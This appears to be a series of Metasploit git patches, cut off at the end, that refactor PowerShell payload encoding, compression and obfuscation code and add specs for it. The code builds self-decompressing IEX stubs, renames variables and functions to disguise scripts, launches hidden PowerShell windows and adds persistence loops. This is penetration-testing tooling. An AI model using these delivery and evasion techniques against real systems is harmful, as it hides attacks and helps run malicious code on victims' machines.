--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -89,7 +89,7 @@ def encode_script(script_in, eof = nil)
       psh.send(mod_method)
     end
 
-    psh.encode_code(eof)
+    psh.encode_code
   end
 
   #
diff --git a/lib/rex/exploitation/powershell.rb b/lib/rex/exploitation/powershell.rb
index 8c3229e935e6..fc1e0b1dca06 100644
--- a/lib/rex/exploitation/powershell.rb
+++ b/lib/rex/exploitation/powershell.rb
@@ -10,10 +10,18 @@ module Powershell
 
   module Output
 
+    #
+    # To String
+    #
+    # @return [String] Code
     def to_s
       code
     end
 
+    #
+    # Returns code size
+    #
+    # @return [Integer] Code size
     def size
       code.size
     end
@@ -21,6 +29,7 @@ def size
     #
     # Return code with numbered lines
     #
+    # @return [String] Powershell code with line numbers
     def to_s_lineno
       numbered = ''
       code.split(/\r\n|\n/).each_with_index do |line,idx|
@@ -30,8 +39,12 @@ def to_s_lineno
     end
 
     #
-    # Return a zlib compressed powershell code
+    # Return a zlib compressed powershell code wrapped in decode stub
+    #
+    # @param eof [String] End of file identifier to append to code
     #
+    # @return [String] Zlib compressed powershell code wrapped in
+    # decompression stub
     def deflate_code(eof = nil)
       # Compress using the Deflate algorithm
       compressed_stream = ::Zlib::Deflate.deflate(code,
@@ -65,14 +78,18 @@ def deflate_code(eof = nil)
     #
     # Return Base64 encoded powershell code
     #
-    def encode_code(eof = nil)
+    # @return [String] Base64 encoded powershell code
+    def encode_code
       @code = Rex::Text.encode_base64(Rex::Text.to_unicode(code))
     end
 
-
     #
-    # Return a gzip compressed powershell code
+    # Return a gzip compressed powershell code wrapped in decoder stub
     #
+    # @param eof [String] End of file identifier to append to code
+    #
+    # @return [String] Gzip compressed powershell code wrapped in
+    # decompression stub
     def gzip_code(eof = nil)
       # Compress using the Deflate algorithm
       compressed_stream = Rex::Text.gzip(code)
@@ -96,15 +113,18 @@ def gzip_code(eof = nil)
       #if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
       psh_expression << "echo '#{eof}';" if eof
 
-      # Convert expression to unicode
-      unicode_expression = Rex::Text.to_unicode(psh_expression)
-
       @code = psh_expression
     end
 
     #
-    # Compresses script contents with gzip or deflate
+    # Compresses script contents with gzip (default) or deflate
+    #
+    # @param eof [String] End of file identifier to append to code
+    # @param gzip [Boolean] Whether to use gzip compression or deflate
+    # @parma in_place [Boolean] Whether to update the current script
+    #   code or just return the output.
     #
+    # @return [String] Compressed code wrapped in decompression stub
     def compress_code(eof = nil, gzip = true, in_place = true)
       code = gzip ? gzip_code(eof) : deflate_code(eof)
       @code = code if in_place
@@ -115,9 +135,9 @@ def compress_code(eof = nil, gzip = true, in_place = true)
     # Reverse the compression process
     # Try gzip, inflate if that fails
     #
+    # @return [String] Decompressed powershell code
     def decompress_code
       # Decode base64 and convert to ascii
-      raw = Rex::Text.decode_base64(code)
       ascii_expression = Rex::Text.to_ascii(raw)
       # Extract substring with payload
       encoded_stream = ascii_expression.scan(/FromBase64String\('(.*)'/).flatten.first
@@ -355,6 +375,10 @@ def initialize(klass,name)
       @name = name.strip.gsub(/\s|,/,'')
     end
 
+    #
+    # To String
+    #
+    # @return [String] Powershell param
     def to_s
       "[#{klass}]$#{name}"
     end
@@ -373,10 +397,18 @@ def initialize(name,code)
       populate_params
     end
 
+    #
+    # To String
+    #
+    # @return [String] Powershell function
     def to_s
       "function #{name} #{code}"
     end
 
+    #
+    # Identify the parameters from the code and 
+    # store as Param in @params
+    #
     def populate_params
       @params = []
       start = code.index(/param\s+\(|param\(/im)
@@ -446,6 +478,11 @@ def initialize(code)
     #
     # Convert binary to byte array, read from file if able
     #
+    # @param input_data [String] Path to powershell file or powershell
+    #   code string
+    # @param var_name [String] Byte array variable name
+    #
+    # @return [String] input_data as a powershell byte array
     def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
       code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
       code = code.unpack('C*')
@@ -462,6 +499,10 @@ def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3
       return psh << lines.join("") + "\r\n"
     end
 
+    #
+    # ?? RageLtMan
+    #
+    # @param dir [String] ?
     def self.psp_funcs(dir)
       scripts = Dir.glob(File.expand_path(dir) + '/**/*').select {|e| e =~ /ps1$|psm1$/}
       functions = scripts.map {|s| puts s; Script.new(s).functions}
@@ -471,6 +512,7 @@ def self.psp_funcs(dir)
     #
     # Return list of code modifier methods
     #
+    # @return [Array] Code modifiers
     def self.code_modifiers
       self.instance_methods.select {|m| m =~ /^(strip|sub)/}
     end
@@ -485,6 +527,10 @@ module PshMethods
     #
     # Download file via .NET WebClient
     #
+    # @param src [String] URL to the file
+    # @param target [String] Location to save the file
+    #
+    # @return [String] Powershell code to download a file
     def self.download(src,target=nil)
       target ||= '$pwd\\' << src.split('/').last
       return %Q^(new-object System.Net.WebClient).Downloadfile("#{src}", "#{target}")^
@@ -493,6 +539,11 @@ def self.download(src,target=nil)
     #
     # Uninstall app, or anything named like app
     #
+    # @param app [String] Name of application
+    # @param fuzzy [Boolean] Whether to apply a fuzzy match (-like) to
+    #   the application name
+    #
+    # @return [String] Powershell code to uninstall an application
     def self.uninstall(app,fuzzy=true)
       match = fuzzy ? '-like' : '-eq'
       return %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
@@ -501,6 +552,9 @@ def self.uninstall(app,fuzzy=true)
     #
     # Create secure string from plaintext
     #
+    # @param str [String] String to create as a SecureString
+    #
+    # @return [String] Powershell code to create a SecureString
     def self.secure_string(str)
       return %Q^ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$^
     end
@@ -508,6 +562,10 @@ def self.secure_string(str)
     #
     # Find PID of file lock owner
     #
+    # @param filename [String] Filename
+    #
+    # @return [String] Powershell code to identify the PID of a file
+    #   lock owner
     def self.who_locked_file?(filename)
       return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
     end
@@ -515,6 +573,10 @@ def self.who_locked_file?(filename)
     #
     # Return last time of login
     #
+    # @param user [String] Username
+    #
+    # @return [String] Powershell code to return the last time of a user
+    #   login
     def self.get_last_login(user)
       return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
     end

From dd38a81dfc6409dfc7cc258e01460cd58ad45013 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Wed, 23 Apr 2014 01:10:13 +0100
Subject: [PATCH 074/108] Fix a @parma

---
 lib/rex/exploitation/powershell.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/lib/rex/exploitation/powershell.rb b/lib/rex/exploitation/powershell.rb
index fc1e0b1dca06..93aa0ef916d9 100644
--- a/lib/rex/exploitation/powershell.rb
+++ b/lib/rex/exploitation/powershell.rb
@@ -121,7 +121,7 @@ def gzip_code(eof = nil)
     #
     # @param eof [String] End of file identifier to append to code
     # @param gzip [Boolean] Whether to use gzip compression or deflate
-    # @parma in_place [Boolean] Whether to update the current script
+    # @param in_place [Boolean] Whether to update the current script
     #   code or just return the output.
     #
     # @return [String] Compressed code wrapped in decompression stub

From d2e8e07cfea406d1c89fc2f5be25bf573005acc4 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Wed, 23 Apr 2014 01:58:02 +0100
Subject: [PATCH 075/108] Fix old powershell generation

---
 lib/rex/exploitation/powershell.rb | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/lib/rex/exploitation/powershell.rb b/lib/rex/exploitation/powershell.rb
index 93aa0ef916d9..cc20f64b08f6 100644
--- a/lib/rex/exploitation/powershell.rb
+++ b/lib/rex/exploitation/powershell.rb
@@ -484,7 +484,13 @@ def initialize(code)
     #
     # @return [String] input_data as a powershell byte array
     def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
-      code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
+      # File will raise an exception if the path contains null byte
+      if input_data.include? "\x00"
+        code = input_data
+      else
+        code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
+      end
+
       code = code.unpack('C*')
       psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
       lines = []

From e774411b63768796d63050b7c6254433399c1d55 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Wed, 23 Apr 2014 02:06:14 +0100
Subject: [PATCH 076/108] Revert Enum removal

.NET 4.5 has two constructors with 2 args so this becomes ambiguous
---
 lib/rex/exploitation/powershell.rb | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/lib/rex/exploitation/powershell.rb b/lib/rex/exploitation/powershell.rb
index cc20f64b08f6..0a18c65b1dc7 100644
--- a/lib/rex/exploitation/powershell.rb
+++ b/lib/rex/exploitation/powershell.rb
@@ -64,8 +64,7 @@ def deflate_code(eof = nil)
       psh_expression << "IEX (New-Object IO.StreamReader("
       psh_expression << "New-Object IO.Compression.DeflateStream("
       psh_expression << "$s,"
-      # [IO.Compression.CompressionMode]::Decompress = 0
-      psh_expression << "0)"
+      psh_expression << "[IO.Compression.CompressionMode]::Decompress)"
       psh_expression << ")).ReadToEnd();"
 
       # If eof is set, add a marker to signify end of code output
@@ -105,8 +104,7 @@ def gzip_code(eof = nil)
       psh_expression << "IEX (New-Object IO.StreamReader("
       psh_expression << "New-Object IO.Compression.GzipStream("
       psh_expression << "$s,"
-      # [IO.Compression.CompressionMode]::Decompress = 0
-      psh_expression << "0)"
+      psh_expression << "[IO.Compression.CompressionMode]::Decompress)"
       psh_expression << ")).ReadToEnd();"
 
       # If eof is set, add a marker to signify end of code output

From 01bfad34897d8fcd39ce574a155cbeb414452c08 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Wed, 23 Apr 2014 02:08:57 +0100
Subject: [PATCH 077/108] Correct datastore values

---
 lib/msf/core/exploit/powershell.rb | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index a510849fd7a4..f60f688899d1 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -84,7 +84,7 @@ def encode_script(script_in, eof = nil)
     # Build script object
     psh = PowershellScript.new(script_in)
     # Invoke enabled modifiers
-    datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k|
+    datastore.select {|k,v| k =~ /^Powershell::(strip|sub)/ and v == 'true' }.keys.map do |k|
       mod_method = k.split('::').last.intern
       psh.send(mod_method)
     end
@@ -104,7 +104,7 @@ def compress_script(script_in, eof = nil)
     # Build script object
     psh = PowershellScript.new(script_in)
     # Invoke enabled modifiers
-    datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k|
+    datastore.select {|k,v| k =~ /^Powershell::(strip|sub)/ and v == 'true' }.keys.map do |k|
       mod_method = k.split('::').last.intern
       psh.send(mod_method)
     end
@@ -261,7 +261,8 @@ def run_hidden_psh(ps_code, payload_arch, encoded)
     end
 
     # Old technique fails if powershell exits..
-    arg_opts[:noexit] = true if datastore['PSH::method'] == 'old'
+    arg_opts[:noexit] = true if datastore['Powershell::method'] == 'old'
+    puts arg_opts.inspect
 
     ps_args = generate_psh_args(arg_opts)
 

From 1347649a47309ee34aaf33bd11c9b4dc05d9552d Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Wed, 23 Apr 2014 02:37:07 +0100
Subject: [PATCH 078/108] Remove unused EOFs

---
 lib/msf/core/exploit/powershell.rb | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index f60f688899d1..1bc835d3049d 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -77,10 +77,9 @@ def process_subs(subs)
   # Will invoke PSH modifiers as enabled
   #
   # @param script_in [String] Script contents
-  # @param eof [String] Marker to indicate the end of file appended to script
   #
   # @return [String] Encoded script
-  def encode_script(script_in, eof = nil)
+  def encode_script(script_in)
     # Build script object
     psh = PowershellScript.new(script_in)
     # Invoke enabled modifiers

From c4cfa42e5b801fa7960cdef9c565efa0fdabd98e Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Wed, 23 Apr 2014 02:37:19 +0100
Subject: [PATCH 079/108] More specs

---
 spec/lib/msf/core/exploit/powershell.rb | 25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)

diff --git a/spec/lib/msf/core/exploit/powershell.rb b/spec/lib/msf/core/exploit/powershell.rb
index 34da695706e7..5ceba1813cae 100644
--- a/spec/lib/msf/core/exploit/powershell.rb
+++ b/spec/lib/msf/core/exploit/powershell.rb
@@ -4,6 +4,8 @@
 require 'msf/core'
 require 'msf/core/exploit/powershell'
 
+EXAMPLE_PATH = File.join(Msf::Config.data_directory, "exploits", "powershell", "powerdump.ps1")
+
 describe Msf::Exploit::Powershell do
   let(:datastore) { { } }
   subject do
@@ -16,6 +18,29 @@
     mod
   end
 
+  describe "::read_script" do
+    it 'should read a sample script file' do
+      script = subject.read_script(EXAMPLE_PATH)
+      script.should be_kind_of(Rex::Exploitation::Powershell::Script)
+    end
+  end
+
+  describe "::encode_script" do
+    it 'should read and encode a sample script file' do
+      script = subject.encode_script(EXAMPLE_PATH)
+      script.should be
+      script.length.should be > 0
+    end
+  end
+
+  describe "::compress_script" do
+    it 'should create a compress script' do
+      script = File.read(EXAMPLE_PATH)
+      compressed = subject.compress_script(script)
+      compressed.length.should be < script.length
+    end
+  end
+
   describe "::generate_psh_command_line" do
     it 'should contain no full stop when :no_full_stop' do
       opts = {:no_full_stop => true}

From 11526b59a6fbee358e79f73e03005049031a1153 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Wed, 23 Apr 2014 05:03:16 +0100
Subject: [PATCH 080/108] Boolean datastore options should always be present

Dont evaluate true/false as 'true'/'false'!
---
 lib/msf/core/exploit/powershell.rb | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index 1bc835d3049d..b0bf05ca71ff 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -12,10 +12,10 @@ def initialize(info = {})
       [
         OptBool.new('Powershell::persist', [true, 'Run the payload in a loop', false]),
         OptBool.new('Powershell::prepend_sleep', [false, 'Prepend seconds of sleep']),
-        OptBool.new('Powershell::strip_comments', [false, 'Strip comments', true]),
-        OptBool.new('Powershell::strip_whitespace', [false, 'Strip whitespace', false]),
-        OptBool.new('Powershell::sub_vars', [false, 'Substitute variable names', false]),
-        OptBool.new('Powershell::sub_funcs', [false, 'Substitute function names', false]),
+        OptBool.new('Powershell::strip_comments', [true, 'Strip comments', true]),
+        OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]),
+        OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]),
+        OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]),
         OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', [
           'net',
           'reflection',
@@ -83,7 +83,7 @@ def encode_script(script_in)
     # Build script object
     psh = PowershellScript.new(script_in)
     # Invoke enabled modifiers
-    datastore.select {|k,v| k =~ /^Powershell::(strip|sub)/ and v == 'true' }.keys.map do |k|
+    datastore.select {|k,v| k =~ /^Powershell::(strip|sub)/ and v}.keys.map do |k|
       mod_method = k.split('::').last.intern
       psh.send(mod_method)
     end
@@ -103,7 +103,7 @@ def compress_script(script_in, eof = nil)
     # Build script object
     psh = PowershellScript.new(script_in)
     # Invoke enabled modifiers
-    datastore.select {|k,v| k =~ /^Powershell::(strip|sub)/ and v == 'true' }.keys.map do |k|
+    datastore.select {|k,v| k =~ /^Powershell::(strip|sub)/ and v}.keys.map do |k|
       mod_method = k.split('::').last.intern
       psh.send(mod_method)
     end

From 32fa8748a83e2cd2fd3a3a3f2261e8c994bf721e Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Wed, 23 Apr 2014 05:20:54 +0100
Subject: [PATCH 081/108] Fix up decompress

---
 lib/rex/exploitation/powershell.rb | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/lib/rex/exploitation/powershell.rb b/lib/rex/exploitation/powershell.rb
index 0a18c65b1dc7..63cf8be0f6c6 100644
--- a/lib/rex/exploitation/powershell.rb
+++ b/lib/rex/exploitation/powershell.rb
@@ -135,10 +135,8 @@ def compress_code(eof = nil, gzip = true, in_place = true)
     #
     # @return [String] Decompressed powershell code
     def decompress_code
-      # Decode base64 and convert to ascii
-      ascii_expression = Rex::Text.to_ascii(raw)
       # Extract substring with payload
-      encoded_stream = ascii_expression.scan(/FromBase64String\('(.*)'/).flatten.first
+      encoded_stream = @code.scan(/FromBase64String\('(.*)'/).flatten.first
       # Decode and decompress the string
       @code = ( Rex::Text.ungzip( Rex::Text.decode_base64(encoded_stream) ) ||
         Rex::Text.zlib_inflate( Rex::Text.decode_base64(encoded_stream)) )

From 58c3bf0e5999b8b4b09556316986fdb35fac9c1f Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Wed, 23 Apr 2014 06:08:39 +0100
Subject: [PATCH 082/108] Further speccage

---
 spec/lib/msf/core/exploit/powershell.rb | 196 ++++++++++++++++++++++--
 1 file changed, 183 insertions(+), 13 deletions(-)

diff --git a/spec/lib/msf/core/exploit/powershell.rb b/spec/lib/msf/core/exploit/powershell.rb
index 5ceba1813cae..7c671dd84934 100644
--- a/spec/lib/msf/core/exploit/powershell.rb
+++ b/spec/lib/msf/core/exploit/powershell.rb
@@ -4,40 +4,210 @@
 require 'msf/core'
 require 'msf/core/exploit/powershell'
 
-EXAMPLE_PATH = File.join(Msf::Config.data_directory, "exploits", "powershell", "powerdump.ps1")
+def decompress(code)
+  Rex::Exploitation::Powershell::Script.new(code).decompress_code
+end
 
 describe Msf::Exploit::Powershell do
-  let(:datastore) { { } }
   subject do
-    mod = Module.new
+    mod = Msf::Exploit.allocate
     mod.extend described_class
-    mod.stub(
-      :datastore => datastore
-    )
-
+    mod.send(:initialize, {})
     mod
   end
 
+  let(:example_script) do
+    File.join(Msf::Config.data_directory, "exploits", "powershell", "powerdump.ps1")
+  end
+
   describe "::read_script" do
     it 'should read a sample script file' do
-      script = subject.read_script(EXAMPLE_PATH)
+      script = subject.read_script(example_script)
       script.should be_kind_of(Rex::Exploitation::Powershell::Script)
     end
   end
 
   describe "::encode_script" do
     it 'should read and encode a sample script file' do
-      script = subject.encode_script(EXAMPLE_PATH)
+      script = subject.encode_script(example_script)
       script.should be
       script.length.should be > 0
     end
   end
 
   describe "::compress_script" do
-    it 'should create a compress script' do
-      script = File.read(EXAMPLE_PATH)
-      compressed = subject.compress_script(script)
-      compressed.length.should be < script.length
+    context 'when default datastore is set' do
+      it 'should create a compressed script' do
+        script = File.read(example_script)
+        compressed = subject.compress_script(script)
+        compressed.length.should be < script.length
+        compressed.include?('IO.Compression').should be_true
+      end
+
+      it 'should create a compressed script with eof' do
+        script = File.read(example_script)
+        compressed = subject.compress_script(script, 'end_of_file')
+        compressed.length.should be < script.length
+      end
+    end
+
+    context 'when strip_comments is true' do
+      before do
+        subject.datastore['Powershell::strip_comments'] = true
+        subject.options.validate(subject.datastore)
+      end
+      it 'should strip comments' do
+        script = File.read(example_script)
+        compressed = subject.compress_script(script)
+        compressed.length.should be < script.length
+      end
+    end
+    context 'when strip_comment is false' do
+      before do
+        subject.datastore['Powershell::strip_comments'] = false
+        subject.options.validate(subject.datastore)
+      end
+      it 'shouldnt strip comments' do
+        script = File.read(example_script)
+        compressed = subject.compress_script(script)
+        compressed.length.should be < script.length
+      end
+    end
+
+    context 'when strip_whitespace is true' do
+      before do
+        subject.datastore['Powershell::strip_whitespace'] = true
+        subject.options.validate(subject.datastore)
+      end
+      it 'should strip whitespace' do
+        script = File.read(example_script)
+        compressed = subject.compress_script(script)
+        decompress(compressed).length.should be < script.length
+      end
+    end
+
+    context 'when strip_whitespace is false' do
+      before do
+        subject.datastore['Powershell::strip_whitespace'] = false
+        subject.options.validate(subject.datastore)
+      end
+      it 'shouldnt strip whitespace' do
+        script = File.read(example_script)
+        compressed = subject.compress_script(script)
+        decompress(compressed).length.should be script.length
+      end
+    end
+
+    context 'when sub_vars is true' do
+      before do
+        subject.datastore['Powershell::sub_vars'] = true
+        subject.options.validate(subject.datastore)
+      end
+      it 'should substitute variables' do
+        script = File.read(example_script)
+        compressed = subject.compress_script(script)
+        decompress(compressed).include?('$hashes').should be_false
+      end
+    end
+
+    context 'when sub_vars is false' do
+      before do
+        subject.datastore['Powershell::sub_vars'] = false
+        subject.options.validate(subject.datastore)
+      end
+      it 'shouldnt substitute variables' do
+        script = File.read(example_script)
+        compressed = subject.compress_script(script)
+        decompress(compressed).include?('$hashes').should be_true
+      end
+    end
+
+    context 'when sub_funcs is true' do
+      before do
+        subject.datastore['Powershell::sub_funcs'] = true
+        subject.options.validate(subject.datastore)
+      end
+      it 'should substitute functions' do
+        script = File.read(example_script)
+        compressed = subject.compress_script(script)
+        decompress(compressed).include?('DumpHashes').should be_false
+      end
+    end
+
+    context 'when sub_funcs is false' do
+      before do
+        subject.datastore['Powershell::sub_funcs'] = false
+        subject.options.validate(subject.datastore)
+      end
+      it 'shouldnt substitute variables' do
+        script = File.read(example_script)
+        compressed = subject.compress_script(script)
+        decompress(compressed).include?('DumpHashes').should be_true
+      end
+    end
+  end
+
+  describe "::cmd_psh_payload" do
+    it 'should generate a command line with an x86 payload' do
+
+    end
+
+    it 'should generate a command line with an x64 payload' do
+
+    end
+
+    context 'when persist is true' do
+      it 'should add a persistance loop'
+      end
+    end
+
+    context 'when persist is false' do
+      it 'shouldnt add a persistance loop' do
+      end
+    end
+
+    context 'when prepend_sleep is set' do
+      it 'should add a sleep' do
+
+      end
+    end
+
+    context 'when prepend_sleep isnt set' do
+      it 'shouldnt add a sleep' do
+
+      end
+    end
+
+    context 'when method is old' do
+
+    end
+
+    context 'when method is net' do
+
+    end
+
+    context 'when method is reflection' do
+
+    end
+
+    context 'when method is msil' do
+
+    end
+
+    context 'when encode_inner_payload' do
+
+    end
+
+    context 'when encode_final_payload' do
+
+    end
+
+    context 'when remove_comspec' do
+
+    end
+
+    context 'when use single quotes' do
+
     end
   end
 

From 61b8fb7921078e88c082a2ac3dd304f0b6dd01c8 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Wed, 23 Apr 2014 06:15:28 +0100
Subject: [PATCH 083/108] Remove puts

---
 lib/msf/core/exploit/powershell.rb | 1 -
 1 file changed, 1 deletion(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index b0bf05ca71ff..4699c6239e2d 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -261,7 +261,6 @@ def run_hidden_psh(ps_code, payload_arch, encoded)
 
     # Old technique fails if powershell exits..
     arg_opts[:noexit] = true if datastore['Powershell::method'] == 'old'
-    puts arg_opts.inspect
 
     ps_args = generate_psh_args(arg_opts)
 

From 0137fdb690a154edd2085497e5b313cf63ee1e72 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Wed, 23 Apr 2014 07:29:51 +0100
Subject: [PATCH 084/108] Prepend sleep should be an int

---
 lib/msf/core/exploit/powershell.rb | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index 4699c6239e2d..394ef36a07da 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -11,7 +11,7 @@ def initialize(info = {})
     register_advanced_options(
       [
         OptBool.new('Powershell::persist', [true, 'Run the payload in a loop', false]),
-        OptBool.new('Powershell::prepend_sleep', [false, 'Prepend seconds of sleep']),
+        OptInt.new('Powershell::prepend_sleep', [false, 'Prepend seconds of sleep']),
         OptBool.new('Powershell::strip_comments', [true, 'Strip comments', true]),
         OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]),
         OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]),
@@ -246,7 +246,7 @@ def generate_psh_args(opts)
   # @param payload_arch [String] The payload architecture 'x86'/'x86_64'
   # @param encoded [Boolean] Indicates whether ps_code is encoded or not
   #
-  # @return [String] Wrapped powershell code 
+  # @return [String] Wrapped powershell code
   def run_hidden_psh(ps_code, payload_arch, encoded)
     arg_opts = {
         :noprofile => true,

From 72a2849bf153696c5c9fd8b3fc3b0ab952c13198 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Wed, 23 Apr 2014 08:07:42 +0100
Subject: [PATCH 085/108] Better specs

90.6% line coverage in Exploit::Powershell
77.32% in Rex::Exploitation::Powershell and haven't even started
writing those specs...
---
 lib/msf/core/exploit/powershell.rb      |   1 +
 spec/lib/msf/core/exploit/powershell.rb | 215 ++++++++++++++++++++++--
 2 files changed, 203 insertions(+), 13 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index 394ef36a07da..4a53cd4596f8 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -357,6 +357,7 @@ def cmd_psh_payload(pay, payload_arch, opts={})
     compressed_payload = compress_script(psh_payload)
     encoded_payload = encode_script(psh_payload)
 
+    # This branch is probably never taken...
     if encoded_payload.length <= compressed_payload.length
       smallest_payload = encoded_payload
       encoded = true
diff --git a/spec/lib/msf/core/exploit/powershell.rb b/spec/lib/msf/core/exploit/powershell.rb
index 7c671dd84934..c02f3c72a4d3 100644
--- a/spec/lib/msf/core/exploit/powershell.rb
+++ b/spec/lib/msf/core/exploit/powershell.rb
@@ -13,6 +13,7 @@ def decompress(code)
     mod = Msf::Exploit.allocate
     mod.extend described_class
     mod.send(:initialize, {})
+    mod.datastore['Verbose'] = true
     mod
   end
 
@@ -20,6 +21,14 @@ def decompress(code)
     File.join(Msf::Config.data_directory, "exploits", "powershell", "powerdump.ps1")
   end
 
+  let(:payload) do
+    Rex::Text.rand_text_alpha(120)
+  end
+
+  let(:arch) do
+    'x86'
+  end
+
   describe "::read_script" do
     it 'should read a sample script file' do
       script = subject.read_script(example_script)
@@ -147,67 +156,247 @@ def decompress(code)
     end
   end
 
-  describe "::cmd_psh_payload" do
-    it 'should generate a command line with an x86 payload' do
+  describe "::run_hidden_psh" do
+
 
+    let(:encoded) do
+      false
     end
 
-    it 'should generate a command line with an x64 payload' do
+    context 'when x86 payload' do
+      it 'should generate code' do
+        code = subject.run_hidden_psh(payload, arch, encoded)
+        code.include?('syswow64').should be_true
+      end
+    end
 
+    context 'when x64 payload' do
+      it 'should generate code'  do
+        code = subject.run_hidden_psh(payload, 'x86_64', encoded)
+        code.include?('sysnative').should be_true
+      end
+    end
+
+    context 'when encoded' do
+      it 'should generate a code including an encoded command' do
+        code = subject.run_hidden_psh(payload, arch, true)
+        code.include?('-nop -w hidden -e ').should be_true
+      end
+    end
+
+    context 'when command' do
+      it 'should generate code including a -c command' do
+        code = subject.run_hidden_psh(payload, arch, encoded)
+        code.include?('-nop -w hidden -c ').should be_true
+      end
+    end
+
+    context 'when old' do
+      before do
+        subject.datastore['Powershell::method'] = 'old'
+        subject.options.validate(subject.datastore)
+      end
+      it 'should generate a code including unshorted args' do
+        code = subject.run_hidden_psh(payload, arch, encoded)
+        code.include?('-NoProfile -WindowStyle hidden -NoExit -Command ').should be_true
+      end
+    end
+  end
+
+  describe "::cmd_psh_payload" do
+    context 'when payload is huge' do
+      it 'should raise an exception' do
+        except = false
+        begin
+          code = subject.cmd_psh_payload(Rex::Text.rand_text_alpha(12000), arch)
+        rescue RuntimeError => e
+          except = true
+        end
+
+        except.should be_true
+      end
     end
 
     context 'when persist is true' do
-      it 'should add a persistance loop'
+      before do
+        subject.datastore['Powershell::persist'] = true
+        subject.options.validate(subject.datastore)
+      end
+      it 'should add a persistance loop' do
+        code = subject.cmd_psh_payload(payload, arch)
+        decompress(code).include?('while(1){Start-Sleep -s ').should be_true
       end
     end
 
     context 'when persist is false' do
+      before do
+        subject.datastore['Powershell::persist'] = false
+        subject.options.validate(subject.datastore)
+      end
       it 'shouldnt add a persistance loop' do
+        code = subject.cmd_psh_payload(payload, arch)
+        decompress(code).include?('while(1){Start-Sleep -s ').should be_false
       end
     end
 
     context 'when prepend_sleep is set' do
-      it 'should add a sleep' do
-
+      before do
+        subject.datastore['Powershell::prepend_sleep'] = 5
+        subject.options.validate(subject.datastore)
+      end
+      it 'should prepend sleep' do
+        code = subject.cmd_psh_payload(payload, arch)
+        decompress(code).include?('Start-Sleep -s ').should be_true
       end
     end
 
     context 'when prepend_sleep isnt set' do
-      it 'shouldnt add a sleep' do
+      before do
+        subject.datastore['Powershell::prepend_sleep'] = nil
+        subject.options.validate(subject.datastore)
+      end
+      it 'shouldnt prepend sleep' do
+        code = subject.cmd_psh_payload(payload, arch)
